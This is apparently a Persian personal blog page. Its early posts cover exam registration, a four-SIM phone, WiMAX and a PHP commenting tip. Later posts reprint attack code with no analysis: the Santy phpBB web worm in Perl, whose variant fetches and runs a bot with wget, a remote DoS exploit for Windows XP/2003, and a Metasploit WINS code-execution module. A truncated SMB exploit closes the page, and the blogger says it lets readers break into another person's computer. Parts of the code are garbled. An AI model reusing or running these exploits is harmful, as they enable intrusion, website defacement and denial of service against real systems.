سفارش تبلیغ
صبا ویژن

شهرستان مهر*** انجمن مهندسان

 

من پیشواى مؤمنانم و مال پیشواى تبهکاران [ و معنى آن این است که مؤمنان پیرو منند ، و تبهکاران پیرو مال چنانکه زنبوران عسل مهتر خود را به دنبال ] . [نهج البلاغه]

 
 

مدیریت| ایمیل من

| خانه

پایین

?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

زمان ثبت نام آزمون کاردانی به کارشناسی

زمان ثبت نام کارشناسی ناپیوسته 89 دانشگاه آزاد از تاریخ 14/07/89 شروع می شود.زمان برگزاری امتحان هفته دوم آذر ماه اعلام شد


 


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

? سیم کارت در یک گوشی با OTECH F1


از چند سال پیش که ایرانسل در ایران شروع به فعالیت کرد به طور ناگهانی مسئله ی جدیدی در ایران کاملا باب شد و آن هم داشتن چندین شماره اعم از اعتباری و دائمی، ایرانسل و همراه اول بود و خوب دلایل منطقی و خوبی هم داشت. یکی میخواست مشترک همراه اول بماند و در عین حال از امکانات ایرانسل هم استفاده کند. بعضی ها صرفا میخواستند برای هر منظور از شماره ای خاص استفاده کنند. یک عده هم که …. ولی خوب به هر حال با پیش آمدن این وضع، تا مدت کوتاهی مجبور بودیم برای استفاده ی هم زمان از دو شماره ی خاص یا از کیت های دو سیم کارته کردن موبایل استفاده کنیم که روش چندان دل نشینی هم نبود و یا اینکه ? موبایل خریداری کنیم که این روش هم کمی دست و پا گیر بود خصوصا که موبایل دوم از نوع عادی و ارزان قیمت انتخاب میشد و خیلی از کارها را نمیتوانستیم به راحتی گوشی اصلی مان با آن انجام دهیم. بعد هم گوشی های دو سیم کارت در بازار فراوان شدند؛ از انواع چینی گرفته تا گوشی های عرضه شده توسط کمپانی های معتبری مثل سامسونگ و ال جی. در پایان هم که چند ماه پیش بود که شنیدیم نوکیا هم با عرضه ی گوشی دو سیم کارته ی C3 پا به این عرصه گذاشته. نمیدانم میدانید یا نه ولی مدتی است که یک مدل گوشی ? سیم کارته هم داریم که البته در جریان نیستم که در ایران هم وجود دارد یا خیر. اما امروز در بازار آسیا شاهد عرضه ی موبایل جدیدی هستیم که قابلیت استفاده ی همزمان از ? سیم کارت را دارد و مهم تر از همه اینکه میتواند به صورت هم زمان از هر ? تای آنها استفاده نماید! جالب تر اینجاست که این گوشی امکانات بسیار خوبی را هم به کاربر ارائه میدهد که از میان آنها میتوان به صفحه ی ?.? اینچی لمسی، کیبرد استاندارد QWERTY، نمایش تلویزیون، رادیو FM، دوربین ?? مگاپیکسلی و بلوتوث اشاره کرد. آنطور که گفته میشود این گوشی به نسبت امکانات خود قیمت بالایی دارد و خوب البته قیمت بالا برای تنها گوشی موجود در این دسته طبیعی به نظر میرسد!



کاش میشد این امکانات را به گوشی هایی که امکان استفاده به عنوان Wi-Fi router را دارند اضافه میکردند آنوقت بود که دیگر خیلی باید ذوق میکردیم!



نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:23 صبح

How wimax works

How wimax works


Think about how you access internet today. There are basically three different options:


Broadband access in your home, you have either a DSL or cable modem at office your company may be using a T1 or a T3 line.


Wifi access in your home you may have set up a wifi router that lets you surf the web while you louge with your laptop. On the road, you can find wifi hot spots in restaurants, hotels. Coffee shops and libraries.


Dial-up access if you are still using dial-up, chances are that either broadband access is not available, or you think that broadband access is too expensive.


The main problems whit broadband access are that it is pretty expensive and it doesn’t reach all areas. The main problem with wifi access is that hot spots are very small, so coverage is sparse.


What if there were a new technology that solved all of these problems? This new technology would provide:


The high speed of broadbond service


Wireless rather than wired access, so it would be a lot less expensive than cable or dsl and much easier to extend to suburban rural areas


Broad coverage like the cell phone network instead of small wifi hotspots.


This system is actually coming into being right now, and it is called wimax. Wimax is short for world wide interoperability for microwave access. And it also goes by the IEEE name 802.16.


Wimax has the potential to do to broadband internet access what cell phones have done to phone access. In the same way that many people have given up their "land line" in favor of cell phones. Wimax could replace cable and dsl services, providing universal internet access just about anywhere you go. Wimax will also be as pailless as wifi turning your computer on will automatically connect you to the closest available wimax amenna.


In this article, well find out how wimax works. What engineers are doing to make it better and what it could mean for the future of wireless internet.


Wimax wireless network


In practical terms, wimax would operate similar to wifi but at higher speeds, over greater distances and for a greater number of users. Wimax could potentially erase the suburban and rural blackout areas that currently have no broadband internet access because phone and cable companies have not yet run the necessary wires to those remote locations.


A wimax system consists of two parts:


A wimax tower, similar in concept to a cell phone tower a single wimax tower can provide coverage to a very large area as big as 3000 square miles (~8000 square km).


A wimax receiver the receiver and antenna could be a small box or PCMCIA card, or they could be built into a laptop the way wifi access is today.


 


A wimax tower station can connect directly to the internet using a high bandwidth, wired connection (for example, a T3 line ). It can also connect another wimax tower using a line of sight microwave link. This connection to a second tower (often referred to as a backhaul),


Along with the ability of a single tower to cover up to 3000 square miles, is what allows wimax to what this points out is that wimax actually can provide two forms of wireless service:


There is the non line of sight wifi sort of service where a small antenna on your computer connect to the tower. In this mode, wimax uses a lower frequency range 2 GHz to 11 GHz (similar to wifi) lower wavelength transmissions are not as easily disrupted by physical obstructions they are better able to diffract, or bend, around obstacles.


There is line of sight service where a fixed dish antenna points straight at the more stable so its able to send a lot of data with fewer errors. Line of sight transmissions use higher frequencies, with ranges reaching a possible 66 GHz. At higher frequencies, there is less interference and lots more bandwidth.


Wifi style access will be limited to a 4 to 6 mile radius (perhaps 25 square miles or 65 square km of coverage, which is similar in range to a cellphone zone). Through the stronger line of sight antennas, the wimax transmitting station would send data to wimax enabled computer or routers set up within the transmitters 30 mile radius (2800 square miles or 9300 square km of coverage). This is what allows wimax to achieve its maximum range. the final step in the area network scale is the global area network (GAN).


The proposal for GAN is IEEE 802.20. a true GAN would work a lot like today cell phone networks, with users able to travel across the country and still have access to the network the whole time. this network would have enough bandwidth to offer internet access comparable to cable modem service, but it would be accessible to mobile, always connected devices like laptops or next generation cell phone.


 


 


 


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:22 صبح

پروژه پایگاه داده ها

جمع آوری یک مقاله در مورد انتقال فناوری (Technology Transfer) به پیوست می‌باشد.



 دانلود مقاله اننقال فناوری (Technology Transfer)



نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:22 صبح

پروژه تجزیه و تحلیل سیستم ها

این هم فایل پاورپوینت تجزیه و تحلیل هست که برای این درس ارائه دادم. امیدوارم مورد استفادتون قرار بگیره.


دانلود پروژه تجزیه و تحلیل سیستم ها


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:22 صبح

انتقال فناوری (Technology Transfer)

جمع آوری یک مقاله در مورد انتقال فناوری (Technology Transfer) به پیوست می‌باشد.



 دانلود مقاله اننقال فناوری (Technology Transfer)



نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

غیر فعال کردن یک یا چند خط در php

خیلی وقتها پیش میاد که هنگام کد نویسی لازم میشه یک یا چندخط را غیر فعال کنیم.(به این عمل comment کردن نیز میگویند)
در Php برای این کار چند را وجود دارد.


1 - غیر فعال کردن یک خط :
برای غیر فعال کردن یک خط میتوانیم از علامتهای // و یا # استفاده کنیم.



# echo "test";
// echo "test";


2- غیر فعال کردن چند خط :



/*
echo "test";
echo "test";
*/


برای غیر فعال کردن چند خط متوالی باید از عبارت /* برای خط شروع و از عبارت */ برای خط پایان استفاده کنیم


البته این راه معمولش میباشد ولی ما میتونیم برای غیر فعال کردن یک خط هم از عبارات /* و */ استفاده کنیم



/*echo "test";*/



و یا اینکه برای غیر فعال کردن چند خط اینگونه عمل کنیم:



//echo "test";
//echo "test";


موفق باشید


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

ویروس سانتی




Solution : Upgrade to phpBB version 2.0.11 


#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# ~~ For educational purpose ~~
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.frsirt.com/alertes/20041221.phpbbworm.php
# http://www.f-secure.com/v-descs/santy_a.shtml
#
#!/usr/bin/perl
use
strict;
use Socket;


sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join "", <IN>;
close IN;
unlink $0;

while(!GrabURL("http://www.google.com/advanced_search")) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my \$generation = (\d+);/"my $generation = " . ($1 + 1) . ";"/e;

my $selfFileName = "m1ho2of";
my $markStr = "HYv9po4z3jjHWanN";
my $perlOpen = "perl -e "open OUT,q(>" . $selfFileName . ") and print q(" . $markStr . ")"";
my $tryCode = "&highlight=%2527%252Esystem(" . str2chr($perlOpen) . ")%252e%2527";

while(1) {
exit if -e "stop.it";

OUTER: for my $url (GoGoogle()) {

exit if -e "stop.it";

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;

while($self =~ /(.{1,20})/gs) {
my $portion = "&highlight=%2527%252Efwrite(fopen(" . str2chr($selfFileName) . "," . str2chr("a") . "),
" . str2chr($1) . "),exit%252e%2527";

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = "&highlight=%2527%252Esystem(" . str2chr("perl " . $selfFileName) . ")%252e%2527";
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}



sub str2chr($) {
my $s = shift;

$s =~ s/(.)/"chr(" . or d($1) . ")%252e"/seg;
$s =~ s/%252e$//;

return $s;
}


sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = "http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all" . "&
q=allinurl%3A+%22viewtopic.php%22+%22" . $ts[int(rand(@ts))] . "%3D" . int(rand(30000)) .
"%22&btnG=Search";
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = "<td><a href=(/search\?q=.+?)" . "><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>";
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL("www.google.com" . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}

return @urls;
}


sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";

my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join "", <Server>;
close (Server);

return $answer;
}


sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};

unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}


sub DoDir($) {

my $dir = $_[0];
$dir .= "/" unless $dir =~ m#/$#;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne "." and $_ ne ".." } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}


sub Pay Load() {

my @dirs;


eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, "/ ");

for my $l ("A" .. "Z") {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}
****************************************
while(1){

$numr = int rand(9999);
$caxe = ".";
$caxe1 = ".";
$caxe .= rand(9999);
$caxe1 .= rand(9999);
$arq = ".";
$arq = int rand(9999);

open(sites,">$arq");
print sites "";
close(sites);


$procura = "inurl:*.php?*=" . $numr;

for($n=0;$n<900;$n += 10){
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort
=> 80, Proto => "tcp") or next;
print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{
if ($uber !~ /start=/)
{
open(arq,">>$arq");
print arq "$uber\n";
close(arq);
}}}}}}}}}


for($cadenu=1;$cadenu <= 991; $cadenu +=10){

@cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1
&pstart=1&b=$cadenu") or next;
$ae = "@cade";

while ($ae=~ m/<em class=yschurl>.*?<\/em>/){
$ae=~ s/<em class=yschurl>(.*?)<\/em>/$1/;
$uber=$1;

$uber =~ s/ //g;
$uber =~ s/<b>//g;
$uber =~ s/<\/b>//g;

open(a,">>$arq");
print a "$uber\n";
close(a);
}}

$ark = $arq;
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);


$a =0;
$b =0;
open(ae,"<$arq");
while(<ae>)
{$sites[$a] = $_;
chomp $sites[$a];
$a++;
$b++;}
close(ae);

for ($a=0;$a<=$b;$a++){
open (file, ">$caxe");
print file "";
close(file);
open (file, ">$caxe1");
print file "";
close(file);
$k=0;
$e=0;
$data=get($sites[$a]) or next;
while($data=~ m/<a href=".*?">.*?<\/a>/){
$data=~ s/<a href="(.*?)">.*?<\/a>/$1/;
$ubersite=$1;

if ($ubersite =~/"/)
{
$nu = index $ubersite, """;
$ubersite = substr($ubersite,0,$nu);
}
if ($ubersite !~/http/)
{$ubersite = $sites[$a]."/".$ubersite;}
open(file,">>$caxe") || die("nao abriu caxe.txt $!");
print file "$ubersite\n";
close(file);
}

$lista1 = "http://server/spy.gif?&cmd=cd /tmp;wget www.server.tld/spybot.txt; perl spybot.txt";
# Other filenames included with this and other variants :
# adfkgnnodfijg
# bot
# bot.txt
# bot.txt.1
# dry.scp
# ssh.a
# terrorbot.txt
# terrorbot.txt.1
# terrorworm.txt
# terrorworm.txt.1
# unbot.txt
# unbot.txt.1
# unbot.txt.2
# unbot.txt.3
# unworm.txt
# unworm.txt.1
# unworm.txt.2
# unworm.txt.3
# worm1.txt
# worm.txt
# worm.txt.1
$t =0;
$y =0;
@ja;
open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt";
while (<opa>)
{
$ja[$t] = $_;
chomp $ja[$t];
$t++;
$y++;
}
close(opa);
$t=1;
while ($t < $y)
{
if ($ja[$t] =~/=/)
{
$num = rindex $ja[$t], "=";
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
$num = index $ja[$t], "=";
$num += 1;
$ja[$t] = substr($ja[$t],0,$num);
$num1 = rindex $ja[$t], ".";
$subproc = substr($ja[$t],$num1,$num);

open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt";
print jaera "$ja[$t]$lista1\n";
close(jaera);
}
$t++;
}
$ark = "$caxe1";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
$q=0;
$w=0;
@hot;
open (ops,"<$caxe1");
while(<ops>)
{
$hot[$q] = $_;
chomp $hot[$q];
$q++;
$w++;
}
close(ops);

for($q=0;$q<=$w;$q++)
{

if ($hot[$q] =~/http/)
{
$tipo=get($hot[$q]) or next;
}}
}
}
*********************
 

نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

پرل و سی

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sysexits.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
Windows Server 2003 and XP SP2 remote DoS exploit
Tested under OpenBSD 3.6 at WinXP SP 2
Vuln by Dejan Levaja <dejan_@_levaja.com>
(c)oded by __blf 2005 RusH Security Team , http://rst.void.ru
Gr33tz: zZz, Phoenix, MishaSt, Inck-vizitor
Fuck lamerz: Saint_I, nmalykh, Mr. Clumsy
All rights reserved.
*/

//checksum function by r0ach
u_short checksum (u_short *addr, int len)
{
u_short *w = addr;
int i = len;
int sum = 0;
u_short answer;
while (i > 0)
{
sum += *w++;
i-=2;
}
if (i == 1) sum += *(u_char *)w;
sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
return (~sum);
}
int main(int argc, char ** argv)
{
struct in_addr src, dst;
struct sockaddr_in sin;
struct _pseudoheader {
struct in_addr source_addr;
struct in_addr destination_addr;
u_char zero;
u_char protocol;
u_short length;
} pseudoheader;
struct ip * iph;
struct tcphdr * tcph;
int mysock;
u_char * packet;
u_char * pseudopacket;
int on = 1;
if( argc != 3)
{
fprintf(stderr, "r57windos.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <dest ip> <dest port>\n", argv[0]);
return EX_USAGE;
}
if ((packet = (char *)malloc(sizeof(struct ip) + sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
inet_aton(argv[1], &src);
inet_aton(argv[1], &dst);
iph = (struct ip *) packet;
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
iph->ip_off = htons(IP_DF);
iph->ip_ttl = 255;
iph->ip_p = IPPROTO_TCP;
iph->ip_sum = 0;
iph->ip_src = src;
iph->ip_dst = dst;
tcph = (struct tcphdr *)(packet +sizeof(struct ip));
tcph->th_sport = htons(atoi(argv[2]));
tcph->th_dport = htons(atoi(argv[2]));
tcph->th_seq = ntohl(rand());
tcph->th_ack = rand();
tcph->th_off = 5;
tcph->th_flags = TH_SYN; // setting up TCP SYN flag here
tcph->th_win = htons(512);
tcph->th_sum = 0;
tcph->th_urp = 0;
pseudoheader.source_addr = src;
pseudoheader.destination_addr = dst;
pseudoheader.zero = 0;
pseudoheader.protocol = IPPROTO_TCP;
pseudoheader.length = htons(sizeof(struct tcphdr));
if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct tcphdr))) == NULL)
{
perror("malloc()\n");
return EX_OSERR;
}
memcpy(pseudopacket, &pseudoheader, sizeof(pseudoheader));
memcpy(pseudopacket + sizeof(pseudoheader), packet + sizeof(struct ip), sizeof(struct tcphdr));
tcph->th_sum = checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct tcphdr));
mysock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
if(!mysock)
{
perror("socket!\n");
return EX_OSERR;
}
if(setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
{
perror("setsockopt");
shutdown(mysock, 2);
return EX_OSERR;
}
sin.sin_family = PF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(80);
if(sendto(mysock, packet, sizeof(struct ip) + sizeof(struct tcphdr), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("sendto()\n");
shutdown(mysock, 2);
return EX_OSERR;
}
printf("Packet sent. Remote machine should be down.\n");
shutdown(mysock, 2);
return EX_OK;
}


*******************************************************







CAN-2004-1080


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;

my $advanced =
{
"BASE" => [0, "Specify the exact address to the structure"],
"TARG" => [0, "Specify the exact address to overwrite"],
"WHAT" => [0, "Specify the data used to overwrite the address"],
};

my $info =
{
"Name" => "Microsoft WINS MSO4-045 Code Execution",
"Version" => "$Revision: 1.18 $",
"Authors" => [ "H D Moore <hdm [at] metasploit.com>" ],
"Arch" => [ "x86" ],
"OS" => [ "win32", "win2000" ],
"Priv" => 1,
"AutoOpts" => { "EXITFUNC" => "process" },
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 42],
},

"Payload" =>
{
"Space" => 8000,
"MinNops" => 512,
"PrependEncoder" => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
"Keys" => ["+ws2ord"],
},

"Deion" => Pex::Text::Freeform(qq{
This module exploits a arbitrary memory write flaw in the WINS service.
}),

"Refs" =>
[
["MSB", "MS04-045"],
],
"Targets" =>
[
["Windows 2000 English", [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
],
"Keys" => ["wins"],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
return($self);
}

sub Check {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");

my ($ret, $fprint, $check) = @{ $self->Fingerprint };

if ($ret < 0) {
return $check;
}

if ($ret == 0) {
$self->PrintLine("[*] This system does not appear to be vulnerable.");
return $check;
}

$self->PrintLine("[*] This system appears to be vulnerable.");
if ($fprint->{"os"} ne "?") {
my $os = $fprint->{"os"} eq "?" ? "Unknown Windows" : "Windows ". $fprint->{"os"};
my $sp = $fprint->{"sp"} eq "?" ? "" : "SP ". $fprint->{"sp"};
my $vi = $fprint->{"vi"} == 1 ? "(clean heap)" : "(dirty heap)";
my $hp = length($sp) ? $vi : "";
$self->PrintLine("[*] Host $target_host is $os $sp $hp");
}

return $self->CheckCode("Safe");
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my $target_idx = $self->GetVar("TARGET");

my $shellcode = $self->GetVar("EncodedPayload")->Payload;

my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

# Sanity check the WINS service
my ($ret, $fprint, $check) = @{ $self->Fingerprint };

if ($ret <= 0) {
$self->PrintLine("[*] The target system does not appear to be vulnerable.");
return;
}


# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
# same function pointer...
if ($fprint->{"os"} ne "2000" || $fprint->{"sp"} !~ /^[0234]/ ) {
$self->PrintLine("[*] The target system is not currently supported");
return;
}

# This flag is un-set if the first leaked address is not the default of
# 0x05371e90. This can indicate that someone has already tried to exploit
# this system, or something major happened to the heap that will probably
# prevent this exploit from working.
if (! $fprint->{"vi"}) {
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
}

# Allow for multiple attempts to find the base address
# XXX - Brute force not implemented (or required so far)
my @rloc = @{ $target->[1] };

# Address of the function pointers to overwrite (courtesy anonymous donor)
my $targ = $target->[2];

# Address of the payload on the heap, past the structure
my $code = $target->[3];

# Advanced options can be used to overwrite
@rloc = ( hex($self->GetVar("BASE")) ) if $self->GetVar("BASE");
$targ = hex($self->GetVar("TARG")) if $self->GetVar("TARG");
$code = hex($self->GetVar("WHAT")) if $self->GetVar("WHAT");



foreach my $base (@rloc) {
my ($req, $add);

# Pointing at any aligned address into top 36 bytes will result in a
# valid structure. This gives us some breathing room if things move
# around a little bit.
$add .= pack("V", $code) x 9;
$add .= pack("V", $targ - 0x48) x 14;

# Multiple copies are used in case things slide a little bit
$req .= $add x 10;

# Bling.
$req .= $shellcode;

# Random padding :-)
$req .= Pex::Text::EnglishText(9200 - length($req));

# Tack on the header
my $pkt = pack("NNN", length($req) + 8, -1, $base). $req;

# Poink!
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
my $s = Msf::Socket::Tcp->new
(
"PeerAddr" => $target_host,
"PeerPort" => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}

$s->Send($pkt);
$self->Handler($s);
}

return;
}

# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.

sub Fingerprint {
my $self = shift;
my $target_host = $self->GetVar("RHOST");
my $target_port = $self->GetVar("RPORT");
my $fprint = {};

# This results in vulnerable servers leaking back some useful
# pointers to the heap and to ntdll.dll. We can use these pointers
# to determine the service pack.

my $req =
"\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";

my $s = Msf::Socket::Tcp->new
(
"PeerAddr" => $target_host,
"PeerPort" => $target_port,
);

if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return [-2, $fprint, $self->CheckCode("Connect") ];
}

$s->Send($req);
my $res = $s->Recv(-1, 5);
if (! $res) {
$self->PrintLine("[*] No response to WINS probe.");
$s->Close;
return [-1, $fprint, $self->CheckCode("Connect") ];
}

my @ptrs = ( unpack("N", substr($res, 16, 4)), unpack("VVV", substr($res, 32)) );
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));


my ($os, $sp, $vi) = ("2000", "?", "?");

# Windows 2000 versions
$sp = "0" if $ptrs[3] == 0x77f8ae78;
$sp = "1" if $ptrs[3] == 0x77f81f70;
$sp = "2" if $ptrs[3] == 0x77f82680;
$sp = "3" if $ptrs[3] == 0x77f83608;
$sp = "4" if $ptrs[3] == 0x77f89640;
$sp = "4++" if $ptrs[3] == 0x77f82518;

# Probably not Windows 2000...
$os = "?" if $sp eq "?";

# Windows NT 4.0
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
$os = "NT";
$sp = "?";
}

# Heap is still pristine...
$vi = 1 if $ptrs[0] == 0x05371e90;

# Store the fingerprints....
$fprint->{"os"} = $os;
$fprint->{"sp"} = $sp;
$fprint->{"vi"} = $vi;

# Probe to test vulnerability
$req = "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
"\x00\x00\x00\x03\x00\x00\x00\x00";
$s->Send($req);
$res = $s->Recv(-1, 3);

$s->Close;

if (substr($res, 6, 1) eq "\x78") {
return [1, $fprint, $self->CheckCode("Appears") ];
}

return [0, $fprint, $self->CheckCode("Safe") ];
}

1;

__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)

NT4
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e

2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac


نظر شما( )
?شهرستان مهر -- سید مصطفی برهانی نسب

سه شنبه 89/9/23  ساعت 11:21 صبح

اکسپلویت

سلام دوستان


شما با کام÷ایل کردن این کد و وارد کردن ای پی شخص مقابل میتئانید به رلحتی وارد کام÷یوتر او شوید


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#endif


unsigned char SMB_Negotiate[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
